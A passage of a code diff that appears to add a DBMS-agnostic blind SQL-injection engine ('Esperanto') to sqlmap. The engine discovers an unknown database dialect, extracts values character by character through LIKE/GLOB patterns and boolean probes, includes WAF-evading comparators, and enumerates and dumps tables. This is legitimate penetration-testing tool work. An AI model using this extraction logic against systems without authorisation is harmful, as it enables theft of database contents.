raw.decode(encoding, errors) + + def _likePat(self, prefix_singles, ch, trailing, trailing_multi=False): + # build a LIKE/GLOB/SIMILAR-TO pattern literal: `single`*before + one literal char + + # `single`*after (+ a trailing multi-wildcard when the value CONTINUES past what we + # read - a truncated prefix, from limit< length or length> maxlen). Without that + # multi the pattern demands an EXACT length and can't match the longer source -> every + # char would come back unresolved. only `ch` may be special, escaped if so. + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + tail = single * trailing + (multi if trailing_multi else "") + body = single * prefix_singles + if p.name == "GLOB" and ch in (multi, single, "["): + return body + "[%s]" % ch + tail, "" # GLOB escapes via a char class + # SIMILAR TO shares %/_ with LIKE but also has regex metachars; LIKE has only %/_ + special = _SIMILAR_META if p.name == "SIMILAR TO" else (multi, single) + if ch in special: + return body + "\\" + ch + tail, " ESCAPE '\\'" # escape via ESCAPE '\' + return body + ch.replace("'", "''") + tail, "" + + def _likeIs(self, expr, pattern, esc): + return self._ask("(%s) %s '%s'%s" % (expr, self.dialect.prefix.name, pattern, esc)) + + def _likeExtract(self, expr, limit=None): + p = self.dialect.prefix + multi, single = p.get("multi"), p.get("single") + q0 = self._queries + # NULL vs matches-anything-nonnull + if not self._likeIs(expr, multi, ""): + is_null = self._ask("(%s) IS NULL" % expr) + return ExtractResult(None, is_null=is_null, complete=is_null, + queries=self._queries - q0, + warnings=[] if is_null else ["pattern probe failed"]) + if self._likeIs(expr, "", ""): # empty string matches only '' + return ExtractResult("", complete=True, queries=self._queries - q0) + # length from wildcards: `_`*n + `%` matches iff length >= n. find the + # largest n that still matches (keep a known-true lower bound; the exponential + # must NOT advance lo past the true region) + ge = lambda n: self._likeIs(expr, single * n + multi, "") + if self.maxlen < 1: # capped to nothing: non-empty but unread + return ExtractResult("", complete=False, truncated=True, + queries=self._queries - q0, + warnings=["maxlen<1: value not read"]) + hi = 1 + while hi < self.maxlen and ge(hi): + hi = min(hi * 2, self.maxlen) + lo = 1 # ge(1) is true (non-empty) + while lo < hi: + mid = (lo + hi + 1) // 2 + lo, hi = (mid, hi) if ge(mid) else (lo, mid - 1) + length = lo + # truncated ONLY if a char exists past the cap (ge(maxlen+1)); an exactly-maxlen + # value is COMPLETE - the old `ge(maxlen)` test flagged every capped value truncated + truncated = length >= self.maxlen and ge(self.maxlen + 1) + if limit is not None and limit < length: + truncated, length = True, limit + out = [] + for i in range(length): + hit = None + for c in _FREQ_ORDER: + # trailing multi-wildcard when the value continues past `length` (truncated + # prefix), so the pattern matches the longer source instead of demanding exact len + pat, esc = self._likePat(i, c, length - i - 1, trailing_multi=truncated) + if self._likeIs(expr, pat, esc): + hit = c + break + out.append(hit if hit is not None else _REPL) + value = "".join(out) + warns = ["contains unresolved char"] if _REPL in value else [] + if p.get("case_insensitive"): + warns.append("LIKE is case-insensitive: letter case may be ambiguous") + return ExtractResult(value, complete=not truncated and not _hardWarnings(warns), + truncated=truncated, queries=self._queries - q0, warnings=warns) + + @staticmethod + def _decodeHexToken(token, encoding=None): + if len(token) % 2 or any(c not in _HEXDIGITS + _HEXDIGITS.lower() for c in token): + return None # strict: don't clean corruption + try: + raw = _unhexlify(token) + except (TypeError, ValueError, binascii.Error, UnicodeError): + return None + if encoding: + # a PROVEN codec is authoritative: if the bytes don't decode under it, that is a + # FAILURE (return None -> token dropped, result marked incomplete), NOT licence to + # reinterpret them as some other codec (00 D8 is an invalid UTF-16LE lone surrogate, + # but a valid UTF-16BE 'O with stroke' - guessing again would silently corrupt). + try: + return raw.decode(encoding, "strict") + except (UnicodeDecodeError, LookupError): + return None + # UNKNOWN codec + an embedded NUL is genuinely AMBIGUOUS: bytes `41 00` are valid UTF-8 + # ("A" + NUL) AND valid UTF-16LE ("A"), and no primitive lied - with no proven codec + # either reading could be right, so neither is exact. Refuse (drop the token -> the caller + # falls back to per-char extraction, which round-trips each char against the source). + if b"\x00" in raw: + return None + # no NUL and no proven codec: a best-effort DISPLAY decode (exactness of any non-ASCII + # result is gated separately - the dump downgrades non-ASCII under an unknown codec, and + # scalar hex recovery refuses to certify unknown-codec non-ASCII bytes). + for enc in ("utf-8", "latin-1"): + try: + return raw.decode(enc) + except (UnicodeDecodeError, ValueError): + continue + return raw.decode("latin-1", "replace") diff --git a/extra/esperanto/handler.py b/extra/esperanto/handler.py new file mode 100644 index 00000000000..4979e54a8bf --- /dev/null +++ b/extra/esperanto/handler.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from .engine import Esperanto +from .records import OracleUndecided + + +def _sanitize(s): + """Escape C0/DEL/C1 control bytes in recovered DB content before it is logged - a stored + value can carry ANSI/OSC sequences that would otherwise drive or forge the sqlmap console.""" + if not isinstance(s, type(u"")): + return s + return "".join(c if (u" " <= c < u"\x7f") or c > u"\x9f" else "\\x%02x" % ord(c) for c in s) + + +def buildHandler(): + """Build the sqlmap dbmsHandler that drives enumeration through this engine when + the back-end cannot be (or should not be) fingerprinted. sqlmap-core imports are + deferred here so the engine above stays dependency-free for standalone use. + + The user still commands *what* to retrieve (--banner / --tables / --dump / ...); + esperanto only works out *how* on a dialect it discovers from scratch, and every + probe rides sqlmap's own boolean inference (request / comparison / WAF stack).""" + from lib.core.data import conf + from lib.core.data import kb + from lib.core.data import logger + from lib.core.enums import CHARSET_TYPE + from lib.core.enums import EXPECTED + from lib.core.exception import SqlmapDataException + from lib.request.inject import checkBooleanExpression + from lib.request.inject import getValue + from plugins.generic.enumeration import Enumeration + from plugins.generic.misc import Miscellaneous + + # boolean-blind-only oracle (no inband UNION marker): whole-page true/false, so a + # reflective target that filters out the reflected marker can't defeat it + def _blindOracle(condition): + return getValue(condition, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, + suppressOutput=True, union=False, error=False, time=False) + + class _EsperantoHandler(Enumeration, Miscellaneous): + def __init__(self): + Enumeration.__init__(self) + Miscellaneous.__init__(self) + self._esp = None + self._notesLogged = 0 # how many dialect.notes already surfaced (see _flushNotes) + self._identCache = {} # current user/db: fetch (and announce) once + self._colCache = {} # (db, table) -> ordered column names, so a dump + # reuses what --columns already enumerated + self._scopeCache = {} # table -> resolved schema (see _scopeFor) + + def _engine(self): + if self._esp is None: + # esperanto is a PURE boolean-oracle engine: every probe is one true/false + # question, so it gains nothing from UNION/error inband extraction - while + # those need a concatenated marker whose generic form is CONCAT() when the + # backend is unidentified (agent.py), and CONCAT() does not exist on SQLite/ + # Firebird/Oracle (they use ||) so every such probe errors. so PREFER the + # boolean-blind technique: no marker, no concatenation, whole-page true/false, + # works everywhere. only fall back to whatever-technique-is-available if the + # target has no usable boolean-blind vector. _ask decides what an undecidable + # probe MEANS by context (skip a candidate rung vs degrade a data read loudly). + esp = Esperanto(_blindOracle, retries=2) + logger.info("Esperanto is discovering the back-end SQL dialect (agnostic mode, boolean-blind)") + try: + esp.discover() + except RuntimeError: + # no usable boolean-blind vector on this target - retry with any technique + # sqlmap detected (UNION/error/time); may hit the CONCAT limitation above + esp = Esperanto(lambda condition: checkBooleanExpression(condition), retries=2) + logger.info("Esperanto retrying discovery via any available inference technique") + try: + esp.discover() + except RuntimeError as ex: + # genuinely unusable (unstable target, or no substring/pattern + # primitive) - stop cleanly instead of surfacing an internal traceback + raise SqlmapDataException("Esperanto could not establish a reliable extraction oracle on this target (%s)" % ex) + logger.info("Esperanto dialect verdict: %s" % (esp.identify().get("product") or "unknown")) + esp._progress = lambda value: logger.info("retrieved: %s" % _sanitize(value)) # live feedback (sanitized) + self._esp = esp + self._notesLogged = 0 + self._flushNotes() # discovery-time notes + return self._esp + + def _flushNotes(self): + # surface degradation notes LOUDLY as they accrue. Enumeration/dump append notes + # AFTER discovery, so logging once would hide every runtime degradation (incomplete + # listing, truncation, blocked paging) - flush the NEW ones after each operation. + notes = self._esp.dialect.notes if self._esp else [] + for note in notes[self._notesLogged:]: + logger.warning("Esperanto: %s" % note) + self._notesLogged = len(notes) + + def _scopeDb(self): + # the database to scope table/column lookups to: -D if given, else the + # current one. WITHOUT this, a same-named table in another schema (e.g. + # information_schema.USERS vs shop.users) merges columns and breaks dump. + return conf.db or self.getCurrentDb() + + def _scopeFor(self, table): + # scope for a SPECIFIC table: -D wins; else the current schema IF the table + # is there; else the schema the table actually lives in (PG-family: tables + # often sit in 'public' while current_schema is the login user's own schema). + if conf.db: + return conf.db + if table in self._scopeCache: + return self._scopeCache[table] + esp = self._engine() + cur = self.getCurrentDb() + scope = cur if (cur and esp.hasTable(table, cur)) else (esp.tableSchema(table) or cur) + self._scopeCache[table] = scope + return scope + + def _db(self): + return self._scopeDb() or "" + + def getFingerprint(self): + # concise fingerprint only; the version banner is shown for --banner, not + # printed unbidden on every run (and not re-extracted here) + product = self._engine().identify().get("product") or "unknown" + return "back-end DBMS: %s (via Esperanto DBMS-agnostic engine)" % product + + def getBanner(self): + # the ONLY path that blind-reads the full version string (expensive); the + # fingerprint/product naming never does + logger.info("fetching banner") + kb.data.banner = self._engine().banner() + return kb.data.banner + + def getCurrentUser(self): + if "user" not in self._identCache: + expr = self._engine().dialect.identity.get("user") + if expr: + logger.info("fetching current user") + self._identCache["user"] = self._safeExtract(expr) if expr else None + kb.data.currentUser = self._identCache["user"] + return kb.data.currentUser + + def getCurrentDb(self): + # called repeatedly to scope tables/columns/dump -> fetch and announce once + if "db" not in self._identCache: + expr = self._engine().dialect.identity.get("database") + if expr: + logger.info("fetching current database") + self._identCache["db"] = self._safeExtract(expr) if expr else None + kb.data.currentDb = self._identCache["db"] + return kb.data.currentDb + + def _safeExtract(self, expr): + # current user/db are used as SQL QUALIFIERS + cache keys + scoping decisions, so + # they must be EXACT - a truncated/case-ambiguous value here becomes wrong SQL. + try: + res = self._esp.extractResult(expr) + except OracleUndecided: + logger.warning("Esperanto could not retrieve %s (oracle undecided)" % expr) + return None + if res.value is not None and not res.exact: + logger.warning("Esperanto: %s not recovered exactly (%s) - not used for scoping" % (expr, res.integrity)) + return None + return res.value + + def isDba(self, user=None): + # UNKNOWN, not a negative claim: Esperanto has no generic DBA probe, so returning + # False would assert "not a DBA" on no evidence. Report it can't tell and return + # None (unknown) so a transient can't be read as a proven privilege verdict. + logger.warning("Esperanto cannot determine DBA status (no generic privilege probe)") + kb.data.isDba = None + return kb.data.isDba + + def getDbs(self): + logger.info("fetching database names") + kb.data.cachedDbs = self._engine().enumerate("database", limit=(conf.limitStop or 50)) or [] + self._flushNotes() + return kb.data.cachedDbs + + def getTables(self, bruteForce=None): + # scope to the requested database (-D) or the current one, so the listing + # isn't polluted with every schema's tables (e.g. information_schema) + db = conf.db or self.getCurrentDb() + lim = conf.limitStop or 100 + names = self._engine().enumerate("table", limit=lim, schema=db) or [] + if not names and not conf.db and db != "public": + # current schema empty (PG-family: login-user schema) -> tables usually + # live in 'public'; broaden rather than report nothing + pub = self._engine().enumerate("table", limit=lim, schema="public") or [] + if pub: + names, db = pub, "public" + infoMsg = "fetching tables" + if db: + infoMsg += " for database '%s'" % db + logger.info(infoMsg) + kb.data.cachedTables = {db or "": names} + self._flushNotes() + return kb.data.cachedTables + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to enumerate columns") + return {} + db = self._scopeFor(conf.tbl) + infoMsg = "fetching columns for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + names = self._engine().columns(conf.tbl, schema=db) or [] + self._colCache[(db, conf.tbl)] = names # let a following dump reuse these + kb.data.cachedColumns = {db or "": {conf.tbl: dict((n, None) for n in names)}} + self._flushNotes() + return kb.data.cachedColumns + + def getSchema(self): + esp = self._engine() + # use the EFFECTIVE db that getTables() actually resolved (it may have broadened to + # 'public' when the current schema was empty) - recomputing _db() here would miss + # that and look columns up in the wrong (empty) schema. + tabmap = self.getTables() + effdb, tables = next(iter(tabmap.items()), ("", [])) + colscope = self._scopeDb() if effdb == "" else effdb + schema = {} + for table in (tables or []): + schema[table] = dict((n, None) for n in (esp.columns(table, schema=colscope) or [])) + kb.data.cachedColumns = {effdb: schema} + self._flushNotes() + return kb.data.cachedColumns + + def dumpTable(self, foundData=None): + if not conf.tbl: + logger.error("Esperanto needs a table (-T) to dump") + return + db = self._scopeFor(conf.tbl) + cols = [c.strip() for c in conf.col.split(",")] if conf.col else None + if cols is None: + cols = self._colCache.get((db, conf.tbl)) # reuse --columns' result; don't re-walk + infoMsg = "fetching entries" + if cols: + infoMsg += " of column(s) '%s'" % ", ".join(cols) + infoMsg += " for table '%s'" % conf.tbl + if db: + infoMsg += " in database '%s'" % db + logger.info(infoMsg) + # sqlmap row-SELECTORS change WHICH rows come back, so REFUSE (don't silently return + # different data): --where filters, --start offsets. --stop is honored as a row cap. + if getattr(conf, "dumpWhere", None): + logger.error("Esperanto cannot honor --where; refusing rather than returning unfiltered rows") + return + if getattr(conf, "limitStart", None): + logger.error("Esperanto cannot honor --start; refusing rather than returning the wrong row range") + return + # the SAME qualified reference for count and dump, so a non-default schema can't make + # the count hit a different (unqualified) table than the dump (#8). + qtable = self._engine().qualify(conf.tbl, db) + if conf.limitStop: + limit = conf.limitStop + else: + try: + limit = self._engine().extractInteger("(SELECT COUNT(*) FROM %s)" % qtable) or 10 + except (OracleUndecided, OverflowError): + limit = 1 << 30 # unknown count -> effectively "all" (keyset stops at end) + logger.info("no --stop given; dumping all %s rows" % (limit if limit < (1 << 30) else "(count unknown)")) + result = self._engine().dump(conf.tbl, columns=cols, schema=db, limit=limit) + if not result or not result["columns"]: + logger.error("Esperanto could not dump table '%s'" % conf.tbl) + return + table_data = {} + for i, name in enumerate(result["columns"]): + values = [("NULL" if row[i] is None else row[i]) for row in result["rows"]] + width = max([len(name)] + [len(v) for v in values]) if values else len(name) + table_data[name] = {"length": width, "values": values} + table_data["__infos__"] = {"count": len(result["rows"]), "table": conf.tbl, "db": self._db()} + if not result["complete"]: + logger.warning("Esperanto dump of '%s' may be incomplete" % conf.tbl) + if not result.get("exact", True): # coverage may be complete yet content inexact + logger.warning("Esperanto dump of '%s': values recovered via a collation-dependent " + "comparison - case/accents may not be byte-exact" % conf.tbl) + kb.data.dumpedTable = table_data + self._flushNotes() + conf.dumper.dbTableValues(kb.data.dumpedTable) + + return _EsperantoHandler() diff --git a/extra/esperanto/oracle.py b/extra/esperanto/oracle.py new file mode 100644 index 00000000000..946a3191fd7 --- /dev/null +++ b/extra/esperanto/oracle.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from contextlib import contextmanager + +from .records import OracleUndecided +from .records import QueryBudgetExceeded + + +class _OracleCore(object): + """_OracleCore + + the boolean-oracle contract + tiny SQL formatters (nothing dialect-specific).""" + + @contextmanager + def _probePhase(self): + # mark a candidate-rung laddering section (discovery or lazy _ensure*): while + # active, a host oracle may safely read an undecidable probe as False ("this + # rung is unusable"), whereas outside it an undecidable READ must stay undecided + prev = self._probing + self._probing = True + try: + yield + finally: + self._probing = prev + + def _emit(self, value): + # per-VALUE feedback is for user-requested data reads only, NOT capability/discovery probes + # (charset, lazy hexfn, cast canary - all wrapped in _probePhase): surfacing an internal + # probe value as "retrieved: " reads as a stray, out-of-context line to the user. + if self._progress and value not in (None, "") and not self._probing: + try: + self._progress(value) + except Exception: + pass + + def _emitChar(self, partial, total): + # live per-character feedback DURING a long extraction, so the user sees movement + # instead of a frozen prompt (a whole framed row is one long silent read otherwise) - + # suppressed during probe phases (see _emit) so a discovery probe doesn't animate + if self._charProgress and not self._probing: + try: + self._charProgress(partial, total) + except Exception: + pass + + def _probe(self, condition): + # ONE tri-state evaluation: True / False / None(persistent error). a raised + # oracle is retried (transient) before being reported as an error - a + # wrong-dialect probe legitimately errors, but a flaky connection must not + # be allowed to read as a definitive False. counts every actual oracle call. + for _ in range(self.retries + 1): + if self.max_queries is not None and self._queries >= self.max_queries: + raise QueryBudgetExceeded("oracle query budget exhausted at %d calls" % self._queries) + self._queries += 1 + try: + observed = self.oracle(condition) + except Exception: + continue + # STRICT: only a real bool is an observation. None/0/''/other must not be + # coerced to False (that silently corrupts bisection) - treat as undecided. + if observed is True or observed is False: + return observed + return None + + def _ask(self, condition): + # decided boolean, or raise OracleUndecided - NEVER manufacture False from an + # unobservable probe (that would silently corrupt blind bisection). the oracle + # must itself return False for unsupported/rejected SQL; a raised probe means + # "could not observe" and, absent a quorum, is fatal. + if self.quorum <= 1: + r = self._probe(condition) + if self.verbose: + print(" [%s] %s" % ("T" if r else ("E" if r is None else "f"), condition)) + if r is None: + # while laddering CANDIDATE rungs an undecidable/erroring probe (oracle + # returned None OR raised - both surface here as None) means "this rung is + # unusable", so read it as False and let the ladder move on; only OUTSIDE + # probing (reading committed data) is it fatal, so a flaky read never + # silently coerces to a definite bit + if self._probing: + return False + self._errors += 1 + raise OracleUndecided("oracle could not decide: %s" % condition) + return r + + samples = 2 * self.quorum - 1 + yes = no = tries = 0 + while (yes + no) < samples and tries < samples + self.quorum + 2: + tries += 1 + r = self._probe(condition) + if r is None: + self._errors += 1 + continue + yes, no = (yes + 1, no) if r else (yes, no + 1) + if yes >= self.quorum or no >= self.quorum: + break + if self.verbose: + state = "T" if yes >= self.quorum else ("f" if no >= self.quorum else "E") + print(" [%s %d:%d] %s" % (state, yes, no, condition)) + if yes >= self.quorum: + return True + if no >= self.quorum: + return False + if self._probing: # candidate rung the vote couldn't settle -> unusable, not fatal + return False + raise OracleUndecided("oracle vote undecided: %s (%d true / %d false)" % (condition, yes, no)) + + def _sub(self, expr, pos, length): + # pos is always passed 1-based; adjust for a 0-based dialect if discovered + p = pos if self.dialect.substring.get("index_base", 1) == 1 else pos - 1 + return self.dialect.substring[1].format(expr=expr, pos=p, len=length) + + def _len(self, expr): + return self.dialect.length[1].format(expr=expr) + + def _sanity(self): + return self._ask("1=1") and not self._ask("1=2") and \ + self._ask("'a'='a'") and not self._ask("'a'='b'") + + def _exists(self, source, column="1", alias=None): + # does `source` (a table/catalog) - and optionally `column` in it - resolve? + # WITHOUT COUNT (which a WAF may filter): a scalar subquery over it is NULL when + # it resolves (WHERE 1=0 -> 0 rows) and ERRORS -> False when it doesn't. Works + # for empty tables too. `column` is passed BARE so a nonexistent one errors, + # rather than being taken as a string literal (SQLite quirk) and passing every + # fake name. When `alias` is set the column is ALIAS-QUALIFIED (`e.col`) so a bare + # candidate can't silently resolve to a KEYWORD/FUNCTION (USER, CURRENT_USER, ...) + # or an unrelated in-scope name - an alias-qualified unknown is always an error. + if alias: + return self._ask("(SELECT %s.%s FROM %s %s WHERE 1=0) IS NULL" % (alias, column, source, alias)) + return self._ask("(SELECT %s FROM %s WHERE 1=0) IS NULL" % (column, source)) diff --git a/extra/esperanto/records.py b/extra/esperanto/records.py new file mode 100644 index 00000000000..fed89e548a4 --- /dev/null +++ b/extra/esperanto/records.py @@ -0,0 +1,319 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +class OracleUndecided(RuntimeError): + """The oracle gave no reliable True/False after retries/voting - a transport or + observation failure, NOT a definitive answer. Raised so blind extraction fails + CLOSED instead of converging on plausible-but-wrong data from a manufactured + False. (A wrong-dialect/unsupported probe must be reported as False by the + oracle itself; exceptions are reserved for 'could not observe'.)""" + + +class NumericOutOfRange(OverflowError): + """A bounded numeric read proved the value lies OUTSIDE [lo, hi] (above or below). + Raised so a bounded search never invents an in-range boundary value (saturating to + `hi`, or - for BETWEEN - converging to a wrong small value). Callers decide: length + measurement converts it to (ceiling, truncated=True); integer extraction re-raises.""" + + +class Cap(object): + """A discovered primitive: (name, template) PLUS measured semantic properties. + Indexable like the old (name, template) tuple so existing call sites keep working + (`cap[0]`, `cap[1]`), with `cap.props` / `cap.get(key)` for the measured facts - + e.g. length unit=characters|bytes, substring index_base, charcode semantics.""" + __slots__ = ("name", "template", "props") + + def __init__(self, name, template, **props): + self.name, self.template, self.props = name, template, props + + def __getitem__(self, i): + return (self.name, self.template)[i] + + def get(self, key, default=None): + return self.props.get(key, default) + + def __repr__(self): + extra = (" " + " ".join("%s=%s" % kv for kv in sorted(self.props.items()))) if self.props else "" + return "%s(%s)" % (self.name, extra.strip() or self.template) + + +class Integrity(object): + """How much the engine PROVED about a recovered value - separating 'the walk finished' + from 'the bytes are exactly the source'. `complete` alone conflated the two; a value can + be WHOLE (every position visited) yet not EXACT (case/accent ambiguous under a lossy + collation). Anything used as executable SQL metadata or a paging boundary requires EXACT.""" + EXACT = "exact" # proven byte-identical to the source value (or a proven NULL) + WHOLE_BUT_AMBIGUOUS = "ambiguous" # every position visited, but case/accent is uncertain + TRUNCATED = "truncated" # a bounded prefix; the source continues + UNRESOLVED = "unresolved" # a character could not be recovered (U+FFFD present) + FAILED = "failed" # could not observe / verify (e.g. whole-value check failed) + + +# warnings that leave a value WHOLE but not EXACT (case/accent uncertain) - distinct from the +# "recovered via hex" soft note (that value IS exact) and from hard integrity warnings. +_AMBIGUOUS_WARNINGS = ("case", "collation") +_U_REPL = u"\uFFFD" + + +class ExtractResult(object): + """Structured extraction outcome - keeps NULL, empty, truncated and failed + distinct (str-like so `str(r)`/truthiness still read naturally).""" + __slots__ = ("value", "is_null", "complete", "truncated", "queries", "warnings") + + def __init__(self, value, is_null=False, complete=True, truncated=False, queries=0, warnings=None): + self.value = value + self.is_null = is_null + self.complete = complete + self.truncated = truncated + self.queries = queries + self.warnings = warnings or [] + + @property + def integrity(self): + # classify what was PROVED (see Integrity). Order matters: a HARD defect (truncated / + # unresolved / incomplete) is classified BEFORE null-exactness, so an inconsistent + # (value=None, is_null=True, complete=False) can never read as EXACT. + if self.truncated: + return Integrity.TRUNCATED + if self.value is not None and _U_REPL in self.value: + return Integrity.UNRESOLVED + if not self.complete: # a hard warning / failed verify -> not exact + return Integrity.FAILED + if self.value is None: + return Integrity.EXACT if self.is_null else Integrity.FAILED + if any(a in w for w in self.warnings for a in _AMBIGUOUS_WARNINGS): + return Integrity.WHOLE_BUT_AMBIGUOUS + return Integrity.EXACT + + @property + def exact(self): + # True ONLY when the recovered bytes are proven identical to the source. Required for + # any value that becomes executable SQL (identifier, qualifier, exact literal). + return self.integrity == Integrity.EXACT + + def __str__(self): + return "" if self.value is None else self.value + + def __bool__(self): + return bool(self.value) + + __nonzero__ = __bool__ # py2 + + def __repr__(self): + return ("ExtractResult(value=%r null=%s integrity=%s truncated=%s q=%d%s)" + % (self.value, self.is_null, self.integrity, self.truncated, self.queries, + " warnings=%r" % self.warnings if self.warnings else "")) + + +class BulkResult(object): + """List-like bulk-enumeration outcome that also reports completeness against an + independent COUNT (so a truncated dump is visible, not silently short).""" + __slots__ = ("values", "expected", "complete") + + def __init__(self, values, expected=None, complete=True): + self.values = values + self.expected = expected + self.complete = complete + + def __iter__(self): + return iter(self.values) + + def __len__(self): + return len(self.values) + + def __getitem__(self, i): + return self.values[i] + + def __repr__(self): + return "%r%s" % (self.values, "" if self.complete else " (incomplete: %s of %s)" % (len(self.values), self.expected)) + + +class Dialect(object): + """Discovered target profile - the synthesized 'queries.xml row'.""" + + __slots__ = ("concat", "substring", "length", "bytelen", "textcast", + "coalesce", "charcode", "charfrom", "hexfn", "binwrap", "charset", + "bulkAgg", "dual", "identQuote", "prefix", "compare", "ordered", + "identity", "catalog", "catalogEnum", "family", "product", + "version", "evidence", "notes") + + def __init__(self): + self.identQuote = None # (open, close) identifier-quote chars, or None + self.prefix = None # (op, multi, single) LIKE/GLOB fallback, or None + self.concat = None # (name, template) + self.substring = None + self.length = None + self.bytelen = None # (name, template) byte length (vs char length) + self.textcast = None # (name, template) scalar -> text + self.coalesce = None # (name, template) NULL guard + self.charcode = None # None -> no code fn (direct-compare mode) + self.charfrom = None + self.hexfn = None # (name, template) for hex/byte extraction + self.binwrap = None # (name, template) byte-ordered comparison wrapper + self.charset = None # Python codec for the DB's DECLARED charset (authoritative hex decode) + self.bulkAgg = None # (name, template) row-aggregation for bulk enum + self.dual = None # (name, from-suffix) tableless-SELECT skeleton + self.compare = None # 'code' | 'collation' | 'hex' | 'ordinal' | 'equality' | 'equality-ci' + self.ordered = False # 'b' > 'a' holds (lexicographic bisection ok) + self.identity = {} + self.catalog = None + self.catalogEnum = {} # {kind: (name_col, source, filter)} + self.family = None # from the catalog probe + self.product = None # best-guess product (the detective verdict) + self.version = None # extracted banner string + self.evidence = [] # [(signal, implication), ...] + self.notes = [] + + def __repr__(self): + pick = lambda x: x[0] if x else None + return ("Dialect(concat=%r substring=%r length=%r compare=%r dual=%r " + "catalog=%r product=%r)" % ( + pick(self.concat), pick(self.substring), pick(self.length), + self.compare, pick(self.dual), self.catalog, + self.product or self.family)) + + +class InferenceStrategy(object): + """An immutable, host-consumable rendering of a discovered dialect. + + This is the crystallization esperanto is really for: the discovery half produces + ONE frozen strategy, and a host inference engine (ideally sqlmap's existing + bisection - which already owns threading, hashDB resume, prediction, and the + known-answer reliability litmus) drives the loop by calling these PURE render_* + methods. No oracle here, no retrieval loop - just SQL construction from the + discovered primitives. Frozen after construction so worker threads can share it. + + The reference host loop `hostExtract()` below drives extraction using ONLY a + strategy + an oracle, with no dependency on Esperanto's own retrieval code. + + SCOPE (honest): this is a PARTIAL hand-off, not yet a full sufficiency proof. + `hostExtract()` drives the code/collation/ordinal/equality char modes under an + ordered comparator (gt / BETWEEN / operator-free), with length-fn OR substring- + derived length, tri-state and integrity-carrying. It does NOT yet drive pattern-only + (LIKE floor) or membership-only extraction, and the frozen field set does not yet + carry every discovered semantic (hex-encoding confidence, IN support, wildcard + semantics, substring/length units, cast bounds). Those modes/semantics must be added + - or the claim narrowed - before this can be called a complete interface; the + long-term direction is predicate renderers driven by sqlmap's own inference engine. + """ + + _FIELDS = ("product", "family", "compare_mode", "catalog", "dual", "notes", + "substring", "index_base", "length", "charcode", "charcode_sem", + "hexfn", "binwrap", "charfrom", "concat", "identquote", "backslash", + "comparator", "cmp_template", "exact_witness") + + def __init__(self, **kw): + for f in self._FIELDS: + object.__setattr__(self, f, kw.get(f)) + object.__setattr__(self, "_frozen", True) + + def __setattr__(self, *a): # immutable + raise AttributeError("InferenceStrategy is frozen") + + # -- pure SQL construction (no oracle) ---------------------------------- + def substr(self, expr, pos, length=1): + p = pos if self.index_base == 1 else pos - 1 + return self.substring.format(expr=expr, pos=p, len=length) + + def renderLength(self, expr): + return self.length.format(expr=expr) + + def renderIsNull(self, expr): + return "(%s) IS NULL" % expr + + def renderCharExists(self, expr, pos): + # a character exists at 1-based pos: its 1-char substring is non-empty. Uses '=' + # only (no '>'/'<'), and reads False for a past-end substring whether the engine + # returns '' or NULL there - so length can be derived when there is no length fn. + return "NOT ((%s)='')" % self.substr(expr, pos) + + def renderHex(self, expr): + return self.hexfn.format(expr=expr) if self.hexfn else None + + def renderCode(self, expr, pos): + # scalar code point of the char at pos (None unless a code fn was found) + return self.charcode.format(expr=self.substr(expr, pos)) if self.charcode else None + + def renderGt(self, expr, n, high=None): + # "expr > n" via the DISCOVERED comparator, so a host driving this strategy + # survives a WAF that strips '>'/'<' exactly as esperanto's own loop does. + # BETWEEN needs the current upper bound; operator-free rungs (sign/abs/...) don't. + if self.comparator == "between" and high is not None: + return "%s BETWEEN %d AND %d" % (expr, n + 1, high) + if self.cmp_template: + return self.cmp_template.format(expr=expr, n=n) + return "%s>%d" % (expr, n) + + def renderCharCmp(self, expr, pos, ch, op=">"): + # boolean: char at pos literal ch, byte-ordered when a binary wrapper + # is available (else the target's own collation) + one = self.substr(expr, pos) + if self.binwrap: + return "%s%s%s" % (self.binwrap.format(x=one), op, self.binwrap.format(x=self.lit(ch))) + return "%s%s%s" % (one, op, self.lit(ch)) + + def renderExactEq(self, left, right): + # whole-value byte-exact equality (hex > binary wrapper > plain) + if self.hexfn: + return "(%s)=(%s)" % (self.hexfn.format(expr=left), self.hexfn.format(expr=right)) + if self.binwrap: + return "(%s)=(%s)" % (self.binwrap.format(x=left), self.binwrap.format(x=right)) + return "(%s)=(%s)" % (left, right) + + def lit(self, value): + s = value.replace("\\", "\\\\") if self.backslash else value + return "'%s'" % s.replace("'", "''") + + def buildLiteral(self, value): + if value and self.charfrom and self.concat and all(0 < ord(c) < 128 for c in value): + parts = [self.charfrom.format(code=ord(c)) for c in value] + out = parts[0] + for p in parts[1:]: + out = self.concat.format(a=out, b=p) + return out + return self.lit(value) + + def quoteIdent(self, name): + if not self.identquote: + return name + o, c = self.identquote + return "%s%s%s" % (o, name.replace(c, c * 2), c) + + def asQueriesRow(self): + """The sqlmap queries.xml-shaped mapping - the concrete integration hook. + These four templates are what sqlmap's inference/error/union machinery reads + from queries[Backend.getIdentifiedDbms()]. The `inference` template renders the + char-code comparison through the DISCOVERED comparator, so a strategy that survives + a '>'-stripping WAF natively is NOT turned back into a blocked '>' here. Membership + mode has no ordered `>%d` form, so `inference` is None (that mode needs the predicate + interface, not this 4-field row).""" + inference = None + if self.charcode: + code = self.charcode.format(expr=self.substr("%s", "%d")) + if self.comparator == "membership": + inference = None + elif self.cmp_template: # operator-free rung (SIGN/ABS/...) + inference = self.cmp_template.replace("{expr}", code).replace("{n}", "%d") + elif self.comparator == "between": + inference = "%s BETWEEN (%%d)+1 AND 9223372036854775807" % code + else: # gt + inference = "%s>%%d" % code + return { + "length": self.length, + "substring": self.substring, + "inference": inference, + "case": "SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)" + self.dual, + "hex": self.hexfn, + } + + def __repr__(self): + return "InferenceStrategy(product=%r compare=%r catalog=%r)" % ( + self.product, self.compare_mode, 